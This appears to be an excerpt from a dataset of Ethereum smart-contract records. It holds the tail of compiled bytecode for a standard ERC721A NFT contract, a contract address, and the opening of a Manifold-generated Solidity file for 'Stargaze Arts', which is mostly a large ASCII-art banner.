82015260a40161073c565b610f0d338561197c565b336000908152600e602052604081208054869290610f2c9084906123b3565b909155505050505050565b6001600160a01b038216331415610f905760405162461bcd60e51b815260206004820152601a60248201527f455243373231413a20617070726f766520746f2063616c6c6572000000000000604482015260640161073c565b3360008181526006602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6110078484846113f8565b61101384848484611996565b61102f5760405162461bcd60e51b815260040161073c9061233e565b50505050565b6008546001600160a01b0316331461105f5760405162461bcd60e51b815260040161073c90612309565b60088054911515600160a01b0260ff60a01b19909216919091179055565b606061108a826000541190565b6110ee5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b606482015260840161073c565b60006110f8611aa3565b905060008151116111185760405180602001604052806000815250611143565b8061112284611ab2565b604051602001611133929190612240565b6040516020818303038152906040525b9392505050565b6008546001600160a01b031633146111745760405162461bcd60e51b815260040161073c90612309565b600c548161118160005490565b61118b91906123b3565b11156111a95760405162461bcd60e51b815260040161073c906122bf565b610b97828261197c565b6008546001600160a01b031633146111dd5760405162461bcd60e51b815260040161073c90612309565b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b600d5460405163c455279160e01b81526001600160a01b03848116600483015260009281169190841690829063c45527919060240160206040518083038186803b15801561124c57600080fd5b505afa158015611260573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112849190612173565b6001600160a01b0316141561129d576001915050610639565b6001600160a01b0380851660009081526006602090815260408083209387168352929052205460ff165b949350505050565b6008546001600160a01b031633146112f95760405162461bcd60e51b815260040161073c90612309565b6001600160a01b03811661135e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161073c565b610ada8161192a565b6008546001600160a01b031633146113915760405162461bcd60e51b815260040161073c90612309565b600a91909155600b55565b60008281526005602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b600061140382611780565b80519091506000906001600160a01b0316336001600160a01b0316148061143a57503361142f846106d1565b6001600160a01b0316145b8061144c5750815161144c90336111ff565b9050806114b65760405162461bcd60e51b815260206004820152603260248201527f455243373231413a207472616e736665722063616c6c6572206973206e6f74206044820152711bdddb995c881b9bdc88185c1c1c9bdd995960721b606482015260840161073c565b846001600160a01b031682600001516001600160a01b03161461152a5760405162461bcd60e51b815260206004820152602660248201527f455243373231413a207472616e736665722066726f6d20696e636f72726563746044820152651037bbb732b960d11b606482015260840161073c565b6001600160a01b03841661158e5760405162461bcd60e51b815260206004820152602560248201527f455243373231413a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b606482015260840161073c565b61159e600084846000015161139c565b6001600160a01b03851660009081526004602052604081208054600192906115d09084906001600160801b03166123fe565b82546101009290920a6001600160801b038181021990931691831602179091556001600160a01b0386166000908152600460205260408120805460019450909261161c91859116612391565b82546001600160801b039182166101009390930a9283029190920219909116179055506040805180820182526001600160a01b03808716825267ffffffffffffffff428116602080850191825260008981526003909152948520935184549151909216600160a01b026001600160e01b031990911691909216171790556116a48460016123b3565b6000818152600360205260409020549091506001600160a01b0316611736576116ce816000541190565b156117365760408051808201825284516001600160a01b03908116825260208087015167ffffffffffffffff9081168285019081526000878152600390935294909120925183549451909116600160a01b026001600160e01b03199094169116179190911790555b83856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45b505050505050565b604080518082019091526000808252602082015261179f826000541190565b6117fe5760405162461bcd60e51b815260206004820152602a60248201527f455243373231413a206f776e657220717565727920666f72206e6f6e657869736044820152693a32b73a103a37b5b2b760b11b606482015260840161073c565b60007f00000000000000000000000000000000000000000000000000000000000001f4831061185f576118517f00000000000000000000000000000000000000000000000000000000000001f484612426565b61185c9060016123b3565b90505b825b8181106118c9576000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff1691830191909152156118b657949350505050565b50806118c181612469565b915050611861565b5060405162461bcd60e51b815260206004820152602f60248201527f455243373231413a20756e61626c6520746f2064657465726d696e652074686560448201526e1037bbb732b91037b3103a37b5b2b760891b606482015260840161073c565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610b97828260405180602001604052806000815250611bb0565b60006001600160a01b0384163b15611a9857604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906119da90339089908890889060040161226f565b602060405180830381600087803b1580156119f457600080fd5b505af1925050508015611a24575060408051601f3d908101601f19168201909252611a2191810190612156565b60015b611a7e573d808015611a52576040519150601f19603f3d011682016040523d82523d6000602084013e611a57565b606091505b508051611a765760405162461bcd60e51b815260040161073c9061233e565b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490506112c7565b506001949350505050565b60606009805461064e90612480565b606081611ad65750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611b005780611aea816124bb565b9150611af99050600a836123cb565b9150611ada565b60008167ffffffffffffffff811115611b1b57611b1b61252c565b6040519080825280601f01601f191660200182016040528015611b45576020820181803683370190505b5090505b84156112c757611b5a600183612426565b9150611b67600a866124d6565b611b729060306123b3565b60f81b818381518110611b8757611b87612516565b60200101906001600160f81b031916908160001a905350611ba9600a866123cb565b9450611b49565b6000546001600160a01b038416611c135760405162461bcd60e51b815260206004820152602160248201527f455243373231413a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b606482015260840161073c565b611c1e816000541190565b15611c6b5760405162461bcd60e51b815260206004820152601d60248201527f455243373231413a20746f6b656e20616c7265616479206d696e746564000000604482015260640161073c565b7f00000000000000000000000000000000000000000000000000000000000001f4831115611ce65760405162461bcd60e51b815260206004820152602260248201527f455243373231413a207175616e7469747920746f206d696e7420746f6f2068696044820152610ced60f31b606482015260840161073c565b6001600160a01b0384166000908152600460209081526040918290208251808401845290546001600160801b038082168352600160801b9091041691810191909152815180830190925280519091908190611d42908790612391565b6001600160801b03168152602001858360200151611d609190612391565b6001600160801b039081169091526001600160a01b0380881660008181526004602090815260408083208751978301518716600160801b0297909616969096179094558451808601865291825267ffffffffffffffff4281168386019081528883526003909552948120915182549451909516600160a01b026001600160e01b031990941694909216939093179190911790915582905b85811015611e805760405182906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4611e446000888488611996565b611e605760405162461bcd60e51b815260040161073c9061233e565b81611e6a816124bb565b9250508080611e78906124bb565b915050611df7565b506000819055611778565b828054611e9790612480565b90600052602060002090601f016020900481019282611eb95760008555611eff565b82601f10611ed257805160ff1916838001178555611eff565b82800160010185558215611eff579182015b82811115611eff578251825591602001919060010190611ee4565b50610b569291505b80821115610b565760008155600101611f07565b600067ffffffffffffffff80841115611f3657611f3661252c565b604051601f8501601f19908116603f01168101908282118183101715611f5e57611f5e61252c565b81604052809350858152868686011115611f7757600080fd5b858560208301376000602087830101525050509392505050565b80358015158114611fa157600080fd5b919050565b600060208284031215611fb857600080fd5b813561114381612542565b60008060408385031215611fd657600080fd5b8235611fe181612542565b91506020830135611ff181612542565b809150509250929050565b60008060006060848603121561201157600080fd5b833561201c81612542565b9250602084013561202c81612542565b929592945050506040919091013590565b6000806000806080858703121561205357600080fd5b843561205e81612542565b9350602085013561206e81612542565b925060408501359150606085013567ffffffffffffffff81111561209157600080fd5b8501601f810187136120a257600080fd5b6120b187823560208401611f1b565b91505092959194509250565b600080604083850312156120d057600080fd5b82356120db81612542565b91506120e960208401611f91565b90509250929050565b6000806040838503121561210557600080fd5b823561211081612542565b946020939093013593505050565b60006020828403121561213057600080fd5b61114382611f91565b60006020828403121561214b57600080fd5b813561114381612557565b60006020828403121561216857600080fd5b815161114381612557565b60006020828403121561218557600080fd5b815161114381612542565b6000602082840312156121a257600080fd5b813567ffffffffffffffff8111156121b957600080fd5b8201601f810184136121ca57600080fd5b6112c784823560208401611f1b565b6000602082840312156121eb57600080fd5b5035919050565b6000806040838503121561220557600080fd5b50508035926020909101359150565b6000815180845261222c81602086016020860161243d565b601f01601f19169290920160200192915050565b6000835161225281846020880161243d565b83519083019061226681836020880161243d565b01949350505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906122a290830184612214565b9695505050505050565b6020815260006111436020830184612214565b6020808252602a908201527f507572636861736520776f756c6420657863656564206d617820737570706c79604082015269206f6620746f6b656e7360b01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526033908201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260408201527232b1b2b4bb32b91034b6b83632b6b2b73a32b960691b606082015260800190565b60006001600160801b03808316818516808303821115612266576122666124ea565b600082198211156123c6576123c66124ea565b500190565b6000826123da576123da612500565b500490565b60008160001904831182151516156123f9576123f96124ea565b500290565b60006001600160801b038381169083168181101561241e5761241e6124ea565b039392505050565b600082821015612438576124386124ea565b500390565b60005b83811015612458578181015183820152602001612440565b8381111561102f5750506000910152565b600081612478576124786124ea565b506000190190565b600181811c9082168061249457607f821691505b602082108114156124b557634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156124cf576124cf6124ea565b5060010190565b6000826124e5576124e5612500565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610ada57600080fd5b6001600160e01b031981168114610ada57600080fdfea2646970667358221220b15b3b8b7bb6fcd3174de127fab861b1e56aa81c54be5a8e42820ac5d662d18a64736f6c63430008070033
[ 5, 7, 9, 12 ]
0xf310669e48b77577efa2969dd6d29c3142bbce5c
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Stargaze Arts /// @author: manifold.xyz import "./ERC721Creator.sol"; //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // ;;',,,;:cc::;,,,,''......',;:::::::::::::ccccccccccccccccccclllllllloooooooooodddddddddddddxxxxxxxxxxxxxxkkkkkkkkkkkkkkkkOOOOOOOOO0000000000KKKKKKKKKKKKKKK0000000000000OOOOOkkkkkkkxxxxxxxxxxxxxxxxo;''',,,,,,,'',,,,,,,;;;;;;;;;;;;::;;;;;;;;;;;;;;;;;;;::ccclloooooooooolllcc::;;;;;;;;;;;;;;;;:::;;;;;;; // // ,,,,;;::::;,',,,''......',;;:::::::::cccccccccccccccccccclllllllllloooooooooooddddddddddddxxxxxxxxxxxxkkkkkkkkkkkkkkkkOOOOOOOOOO000000000000KKKKKKKKKKKKKKK0KK0Oxdoollllloodddxxxkkkkxxxxxxxxxxxxxxxxdc,.''',,,,,,,,;;;;;;::::::::;;;;;;;;;;;;;;;;;;;::cclloooooodddooooollccc::;;;;;;:::::::::::::::;;;;;;; // // ,,;;;;:;;;,',,,''.......',;::::cccccccccccccccccccccccllllllllllloooooooooooddddddddddddxxxxxxxxxxxxkkkkkkkkkkkkkkkkOOOOOOOOO0000000000000KKKKKKKKKKKKKKKK0kl;'.. ......'',,;;;:cldxxxxxxxkkxo:'..'''''',,,,,,,;;;;;;;;;;;;;;;;;;;;;;::::cclloooooooooooooollllccc:::::::::::::::::::::::::;;;;;;; // // ;;;;;;;;;,',,,''.......',;:::ccccccccccccccccccccccclllllllllllooooooooooodddddddddddddxxxxxxxxxxxkkkkkkkkkkkkkkkOOOOOOOOO0000000000000KKKKKKKKKKKKKKKKKOo,. ...',;:clodxxxxxxkkkkxdl:;''.''''''''''',,,,,,;;;;;;::::::cccclllloooooooooooolllllllllccccccccc:::::::::::::::::;;;;;;;;; // // :;;;;;;;,,,,,,''......',;:::ccccccccccccccccccccccllllllllllloooooooooooodddddddddddddxxxxxxxxxxkkkkkkkkkkkkkkOOOOOOOOOO00000000000000KKKKKKKKKKKKKKKkoc. ...,;:clodxkkkkkkkkkkkkkkkkkkkxxxdolc;,''',,'',,,,,,,;;;;;;:::ccccccllllooooooooooooooollllllllllllllcccccc:::::::::::::;;;;;;;;;;; // // ;;;;;;;,,,,,'''......',;:::cccccccccccccccccccclllllllllllloooooooooooodddddddddddddxxxxxxxxxxkkkkkkkkkkkkkkOOOOOOOOOO00000000000000KKKKKKKKKKKKKK0x:. .';cloxkOOOOOOOOOOOkkkkkkkkkkkkkkkkkkxxxxxddoc,''''''',,,,,;;;;::::ccccccllllllloooooooooolllloooooloollllllcccccccccccc:::::;;;;;;;;;;;; // // ;;;;;;,,,,,'''.......',;::cccccccccccccccccccllllllllllllooooooooooooddddddddddddxxxxxxxxxxxkkkkkkkkkkkkkkOOOOOOOOOO0000000000000KKKKKKKKKKKKKKK0d;. .;okO0000OOOOOOOOOkkkkkkkkkkkkkkkkkkkkkkkxxxxxxxdo:,'''''''',,,,;;;:::ccccccclllllllllllllooooooooooooooollllllllllllllcccc:::;;;;;;;;;;;;;; // // ;;;;;;,,,,,'''......',;::ccccccccccccccccccllllllllllllooooooooooooddddddddddddxxxxxxxxxxxkkkkkkkkkkkkkkOOOOOOOOOO00000000000000KKKKKKKKKKKKKK0d;. .,lk000000OOOOOOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkxxxxxxxddc,''''''''''',,,;;;::ccccccllllllllllllloooooooooollllllloollolllllllcc::;;;;;;;;;;;::::: // // ;;,;;,,;,,,'''......';::ccccccccccccccclllllllllllllooooooooooooodddddddddddxxxxxxxxxxxxkkkkkkkkkkkkkkOOOOOOOOOO0000000000000KKKKKKKKKKKKKKK0x;. .:x00000OOOOOOkkkkkkkkxxxxxxxxxxxxxxkkkkkkkkkkkkxxxxxxxddl;'''''....'''',,,;;:ccccllllllllllllllloolloooooooooooooooooooooolcc:;;;;;;;;;:::c::::: // // ;,,;,,;,,,'''......',;:cccccccccccccllllllllllllllooooooooooooodddddddddddxxxxxxxxxxxxxkkkkkkkkkkkkkOOOOOOOOOO00000000000000KKKKKKKKKKKKKK0x;. .ck0000OOOOOkkkkkkxxxxxxxxxxxxxxxxxxxxxxxxxkkkkkkkkkxxxxxxddoc,''''''..''''',,,;;::cccllllllloooooooooooooooooooooddddddddoolcc:;;;;;;:::cccccccccc // // ;,,,,;;,,,'''......';::ccccccccccllllllllllllllloooooooooooodddddddddddxxxxxxxxxxxxxxkkkkkkkkkkkkkOOOOOOOOOOO00000000000000KKKKKKKK0000K0k:. .'lO0000OOOkkkkkxxxxxxddddddddddddddddxxxxxxxxxxkkkkkkkkkkxxxxxddo:,'''''..'''''',,;;;:::cccllllllooooooooooodddddddxxxxddoollc:::;;;::cccccccccllcccc // // ,,,,,;,,,''''.....',;:cccccccclllllllllllllllloooooooooooodddddddddddxxxxxxxxxxxxxxkkkkkkkkkkkkkOOOOOOOOOOO00000000000000000KKKK00000K0k:. ,okO000OOOOkkkxxxxxddddddddddddddddddddddddxxxxxxxxkkkkkkkkkkxxxxxdddoc,''''..'''''',,,;;;;:::cccclllllooooooodddddxxxddoollcc:::::::ccclllllclllllccc:: // // ,',,,;,,,''''.....',::cccccclllllllllllllllloooooooooooodddddddddddxxxxxxxxxxxxxxkkkkkkkkkkkkkOOOOOOOOOO00000000000000000000KKK00K0KKk:. .;dO000OOOOkkkxxxxdddddddoooooooooooooddddddddddxxxxxkkkkkkkkkkkkxxxxdddddl;''''.....''',,,,,;;;;::::ccclllllloooooooooollccc:::::ccccllllllllllllllccc::;; // // '',,,,,,',,''.....';:cccccllllllllllllllllooooooooooooddddddddddddxxxxxxxxxxxxkkkkkkkkkkkkkkOOOOOOOOOOO0000000000000000KKKKKKKKKKKKkc. .:x00OOOOOkkkkxxxxddddddoooolcllllllloooooooddddddxxxxxkkkkkkkkkkkkxxxxxdddddl;''''......'''',,,,,,;;;;::::ccccccllllcccc::::::cccllllllllllllllllllllc::;;;; // // '',,,,,,,,,''.....,;:ccclllllllllllllllooooooooooooodddddddddddxxxxxxxxxxxxxkkkkkkkkkkkkkkOOOOOOOOOOO00000000000000000KKK000KKKKKOc. .:x00OOOkkkkkxxxxxddddoolccll;,,;:::;,::::;cllclodoodxxkkkkkkkkkkkkkkkxxxxxdddddl,'''''......''''',,,,,,,;;;;;;::::::::::::::ccclllooooooollllolllllllc::;;;;;; // // '',,,,,,,,,''....',:ccclllllllllllllloooooooooooooodddddddddddxxxxxxxxxxxxxkkkkkkkkkkkkOOOOOOOOOOOO0000000000000000KK00KK00KKKKOl'. .:x00OOOkkkkkxxxxxdoolooc;'.,;'...','..,'...'',..;cc:cxxkkkkkkkOOOOkkkkkxxxxxxddddd:'''''''''''''''''''',,,,,,,,,;;;;;;;;;::ccclllloooooooollllllllllcc::;;;;;;;; // // '',,,,,,,,,'.....';:cclllllllllllllooooooooooooooddddddddddddxxxxxxxxxxxxkkkkkkkkkkkkOOOOOOOOOOOO00000000000000000000KKKKKKKKOo;...... .:x00OOOkkkkxxxxxxdoc;;,';'. ... ......... .... .,,'',oxkkkkkkkOOOOOOkkkkkxxxxxxddddo;'''''''''''''''''''',,,,,,,,,,;;;;;:::ccclllllooooolllllllllllcc::::;;::;;,, // // ',,,,,,,,;,'....',;ccclllllllllllloooooooooooooodddddddddddddxxxxxxxxxxxkkkkkkkkkkkkOOOOOOOOOOOO0000000000000000000000KKK0K0d:,,''......ck00OOOkkkxxxxxxxdoc:,...... .....,cxkkkkkkOOOOOOOOkkkkkkxxxxxxxdddl;'''''''''''''''''',,,,,,,;;;;;:::::ccclllllllllllllllllllllcc::::::::;;,,,, // // ',,,,,,,,,'.....';:cclllllllllllooooooooooooooodddddddddddddxxxxxxxxxxxkkkkkkkkkkkkOOOOOOOOOOO0000000000000KKK00000000K0K0xc:cc:;,,'.'ck00OOOkkkkxxxxxxdc:;'... ...,,,,'.... ..;cdkkkkkOOOOOOOOOOOOkkkkkxxxxxxxxxdolc:,''''''''''''''',,,,,,;;;;:::::cccclllllccllllllllllllcc::cccc::;,,,,,,; // // ',,,,,;,,,'....',;:cllllllllllloooooooooooooooodddddddddddddxxxxxxxxxxkkkkkkkkkkkOOOOOOOOOOO000000000000000KKKKKK000KKKKOolodolcc:,,ck000OOOkkkkxxxxxolc;.. ....''';d0000OOkxd:. ..;:codxkkOOOOOOOOOOOOOOkkkkkxxxxxxxxxxxxdo;''''''''''''''',,,,,,;;;;;:::ccccccccccccccclllllccccccccc::;,,,,,;;,, // // ',,,,;;,,''....';:ccllllllllloooooooooooooooooodddddddddddddxxxxxxxxxxkkkkkkkkkkOOOOOOOOOOO000000000000000KKKKKKKKKKKKKKkxOkxxdoc;cx0000OOOkkkxxxxxdl;,.... ...';:cc::xKKK00OOk; ..,cdxkxkkOOOOOOOOOOOOOOOkkkkkkxxxxxxxxxxxxxl,''''''''''''''''',,,,;;;;;::::::::ccccccllllllcccccccc::;;;;,,,,,,,,, // // ',,,,;;,,'....',;:ccllllllloooooooooooooooooooodddddddddddddxxxxxxxxxxxkkkkkkkkOOOOOOOOOO00000000000000000KKKKKKKKKKKKKKKK00Okdccx00000OOOkkkkxxxxdl:,'.. . ...,okkOOkdx0KKK00k; .,;ldxkkkOOOOOOO00OOOOOOOkkkkkkkxxxxxxxxxxxxd:''''''''''''''''''',,,,;;;;:::::::cccclllllccccccccc::;;;;;;;,,,,,,,, // // ,,,,;;;,''....';:ccclllllllooooooooooooooooooooodddddddddddddxxxxxxxxxxkkkkkkkkOOOOOOOOO0000000000000000KKKKKKKKKKKKKKKKKKKK0xld000000OOOkkkkkxxxl:;'.... .... ...,;lxkO0Odd0KK00x, ...,coxkkkOOOOOO000OOOOOOOOkkkkkkkxxxxxxxxxxxxl,'''''''''''''''''',,,,,;;;;;:::::cccccccccccccc::::;;;;;;;;;,,,,,,,, // // ,,,,;;,''....',;:cclllllllllooooooooooooooooooodddddddddddddddxxxxxxxxkkkkkkkkOOOOOOOOOO00000000000000KKKKKKKKKKKKKKKXXXXKKKOxOK00000OOOOkkkkxxxo;... .,'..... ....'';:ccc:d0K0kc. .,;:ccodxkOOOOO00000OOOOOOOOkkkkkkkkkxxxxxxxxxxo,.'',,'''''''''''''',,,;;;;;::::cccccccccccccc::::::::::;;;,,,,,,,,,, // // ,,,;:;,'....',;::ccllllllllloooooooooooooooooodddddddddddddddddxxxxxxxkkkkkkkkOOOOOOOOO00000000000000KKKKKKKKKKKKKKXXXXXXXKKKKK00000OOOOkkkkkkxolc'. 'xKd'...... ....'','':k0kl. ..;codxxkkkOOOOO00000OOOOOOOOOkkkkkkkkkxxxxxxxxxxd;.;lc;,,''''''''''''',,,;;;;::::::cc::cccccc::::::::::;;;,,,,,,,,,,;; // // ,,;:;,''...',;;:cccllllllllllooooooooooooooooodddddddddddddddddxxxxxxxkkkkkkkOOOOOOOO000000000000000KKKKKKKKKKKKKXXXXXXXXXKKKK00000OOOOkkkkkkxol:'...;dkKXXO:..............cxxc'. ..',;ldxkkkOOOO00000000OOOOOOOOOkkkkkkkkxxxxxxxxxkxlcoddoc;,''''''''''''',,,,;;;;;::::::::::::::::::;;;,,,,,,,,,,,,,,,,, // // ,,;;,,'....',;::cclllllllllloooooooooooooooooodddddddddddddddddxxxxxxkkkkkkkOOOOOOOOO00000000000000KKKKKKKKKKKKKXXXXXXXXXKKKKK0000OOOOOkkkkkxddo;. .l0KKKXXXKkl,........,:lc,. ..;:cccldkkOOOOO00000000OOOOOOOOOOOkkkkkkkxxxxxxxxkkkkxxxdddo:'''''''''''''''',,,,;;;;;;;;::::::::::;;,,,,,,,,,,,,,,,,,,,, // // ,;;,,''....',;:ccclllllllllloooooooooooooooodddddddddddddddddxxxxxxxkkkkkkkOOOOOOOOO0000000000000KKKKKKKKKKKKKKKKXXXXXXKKKKK000000OOOOOkkkkkxxxdc..o000KKKKKKXX0kdollllc:,. .,'':dxkkkkOOOO000000000OOOOOOOOOOOOOkkkkkkxxxxxxxkkkkkxxxddddc'''''''''''''''''',,,,,,,;;;;;::::;;;,,,,,,,,,;;;;,,,,,,,,,, // // ;;;;,,'.....';cclllllllllllllooooooooooooooddddddddddddddddxxxxxxxkkkkkkkOOOOOOOOOO000000000000KKKKKKKKKKKKKKKKKKXXXXXKKKKK000000OOOOOkkkkkkkkkx;.oOO00000000K000Oxoc,. ....,lolcoxkkOOOOOO00000000OOOOOOOOOOOOOOkkkkkkkxxxxxxkkkkkxxddkkOxoc,'...'''''''''''''',,,,,,,,,,,,,,,;;;;::::c::::;;;;;;;;;;; // // ;;;;;;'......':llllllllllllllooooooooooooodddddddddddddddxxxxxxkkkkkkkkOOOOOOOOOOOO000000000000KKKKKKKKKKKKKKKKXXXXXKKKKKK000000OOOOOkkkkkkkkkx:'okkkkkxddolc:;,'.. ...:l;,:odkkkkOOOOOOO00000000OOOOOOOOOOOOOOOkkkkkkkkxxxxxkkkkxxxO0K0O0KKOo;...''',,''''''',,,,,,,,,,,,,;;::cclooolllllcccc:::::::: // // ;:;;:,........';llllllllllllloooooooooooodddddddddddddxxxxxxxkkkkkkkkkkkxxxxxxOOOOOO0000000000KKKKKKKKKKKKKKKKXXXXKKKKKK0000000OOOOOkkkkkkkkkx:'lkkxo;'.. .. .;,,.,oxdclxxkOOOOOOOOO000OO0OOOOOOOOOOOOOOOOOkkkkkkkkkxxxxxkkkxdx0XOdoc;cd0Kk:'.'',;;;;;;;;;,,;;;;;;;;;;::clooooooddddoooooollllllcc // // :::::'.........';cllllllllllloooooooooooddddddddddxxxxxxxxxddooolllllcccclllodkkOOOOO000000000KKKKKKKKKKKKKKKXXXKKKKKKK000000OOOOOOkkkkkkkkkkl.;lc:;'...........,,''cl;';c:,;dkkxxkOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOkkkkkkkkkxxxxkxxdxKXkddo:,;;l0Xk;''',;:::cccllcccllllllcccccclloodddooooddddooooooooll // // c::c;............':cllllllloooooooooooddddddddoolcc:;;;,,'''''''',,;:ccllooddxxkkkOOOOOO00000000KKKKKKKKKKKKKKKKKKKKKK0000000OOOOOOkkkkkkkkkkdc;;;:lllcccc::c:;;cc::oxdlcoocokkOOOOOOOOOOOO0OOOOOOOOOOOOOOOOOOOOOOOOOkkkkkkkkkkxxxxxxxoxX0dooc,;;;:kXKl''',;:c:cccloollloooddoollccclllloddddddooooooooooool // // c:c:'.............',:llllllooooooooddolc:;,,'.... ......'',,;;:ccllooodddddxkOOOOOOOO0000000KKKKKKKKKKKKKKKKKKK000000OOOOOOOOkkkkkkkkkkkkkkxxxxxxxddddddodddoodkkxxkkkkOOOOOO00000OOOOOOOOOOOOOOOOOOOOOOOOOOOOOkkkkkkkkkkxxxxxxxokXKdl:;;:;;:xX0:''',;:ccccclodoooooooddddooollllllloooddddddddooooooo // // :cc,'''.............';clooooooooooc;'.. .........'',,;;::cclllloooxkkkkkxxxxkO000000KKKKKKKKKKKKKKKKK000000OOOOOOOOOOkkOOOOOOkkkkkkkkkkkkkkkkkkkkkkkkkkkOOOOOOOO00000000OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOkkkkkkkkkkxxxxxddloOXOl,;::;;o0Xx;'''',;clcccclddoddooooodddooooooooooooooooddddddddddd // // cc;,''''..............':loooooooc'. ...',;;:cclllooodddxxxxxxxxxkkkkkkkxddddkO000000KKKKKKKKKKKKKK00000OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOkkkkkkkkOOOOOOO000000000000OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOkkkkkkkkkkkkxxdddc,,ckK0xllodx0Kk:''''',;:clcccloddodddooloodddooooooooddddddddddddddddd // // l:,,''''...............';looodd:. ....',;:clodxkkkkOkkkkkkxxxxxxxxxxxxxxxxxxxkkkkkkkxddxO00000KKKKKKKKKKKKK00000OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO00000000000000OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOkkkkkkkkkkkkxxdddl,,,:lx0KKKK0ko:;,''''',:cllcccloddoddddollloddddoooooooodddddddddddddd // // l:;,,'''................';odddc. ..,:clodxkOOO0OOOOOOOkkkkkkkkxxxxxdodxddddddddxxxxxxxxkkkkkxddxO000000KKKKKKKKKK00000OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO00000000000000000OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOkkkkkkkkkkkkxxxxddo;',;;;:clooc:::;,,,'''';:cllcccloddoddxxdolllooddddooooooooooodddddddd // // c:;,,,''.....'...........':odl... .;okOOOOOOOOOOOOOOOkkkkkkxkkxkxdxdodd::ddoddddddddddxxxxxxkkkkkkddkO000000KKKKKKKKK00000OOOOOOOOOOOOOOOOO0000000000000000000000000000000000000000OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOkkkkkkkkkkkkkxxxxxdo:,,,,;,,,:c:::::;,,,''',;clolccclodxddddxxddollloooooooooooooooooooool // // c:;;,,''.....'............'co,....lkkkOOOOOOOOOOOkkkkkkkkkxodxxxocoo::l;'::;ccccclooddddxxxxxxxkkkkxdxO0000000KKKKKKK00000OOOOOOOOOOOOOOO000000000000000000000000000000000000000000OOOOOOOOOOOOOOOOOOOOOkkkOkkOOkkkkkkkkkkkkkkkxxxxxddl,',,;;,,;cc:::::;,,,''',:cloolcclodxxddddxxxdoollllooooooooooollllllc // // lc:;,,,''....'.............,,...;okkkkkkkkkkkkkkkkkkkkkkxxxoclc::,,;'..'...','..';:cloddddxxxxxxxkkkkxxk0000000KKKKKKK00000OOOOOOOOOOOOOO000000000000000000000000000000000000000OOOOOOOOOOOOOOOOOOOOkkkkkkkkkkkkkkkkkkkkkkkkkkkxxxxxddo:,,,,;,,,cc::::::;,,,''',:clooolcclodddddddddxxddoolllloooooolllllccc // // oc:;;,,''...''.................:dxxxkkkkkkkkkkkkkkkkkxxxdolc:,,'........ .. ...',coddddxxxxxxxxkkkkxkO0000000KKKKKK00000OOOOOOOOOOOOO00000000000000000000000000000000000000OOOOOOOOOOOOOOOOkkOOkkkkkkkkkkkkkkkkkkkkkkkkkkkkxxxxxxddl;,,,;;,,;lc::::;;,,,,''',;:looollccloooodddddddddddddoooolllllccccc: // // ol:;;;,'''''''...'...........':ddxxxxxxxxkkkkkkkkkkxxdlc;,;;;;'... . .. ............'codddddxxxxxxxkkkkkOO0000000KKKKK00000OOOOOOOOOOOOO0000000000000000000000000000000000000OOOOOOOOOOOOOOOOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkxxxxxxddoc;,,,;;,,:lc::::;;,,,,'''';:cooooollllllloooooooddddddddddooollcc::: // // dl:;;;,''''''''.''............,lddddxxxxxxxxxkkkkxxxdl;,,'...... ... ....',;;;;clc;,,,;:coodxxxxxxxkkkkkOOO000000KKKK000000OOOOOOOOOOOOO000000000000000000000000000000000000OOOOOOOOOOOOOOOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkxxxxxxddoc,,,,;;,,clc:c:;;;;,,,'''',::loooddooooooolllllloooooooooooollllccc // // doc:;;,,'''''''.''.............':odddddxxxxxxxxxxxoc:;:,'... ....... ...,lodxxdodkkxxdllllc:oxxxxxxxkkkkkOOO0000000KK000000OOOOOOOOOOOOOOO000000000000000000000000000000000OOOOOOOOOOOOOOOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkxxxxxxddolc,,,,;;,;clccc:;;;;,,,,''',;:cllooddddddddddooooooooooolllllcccccc // // 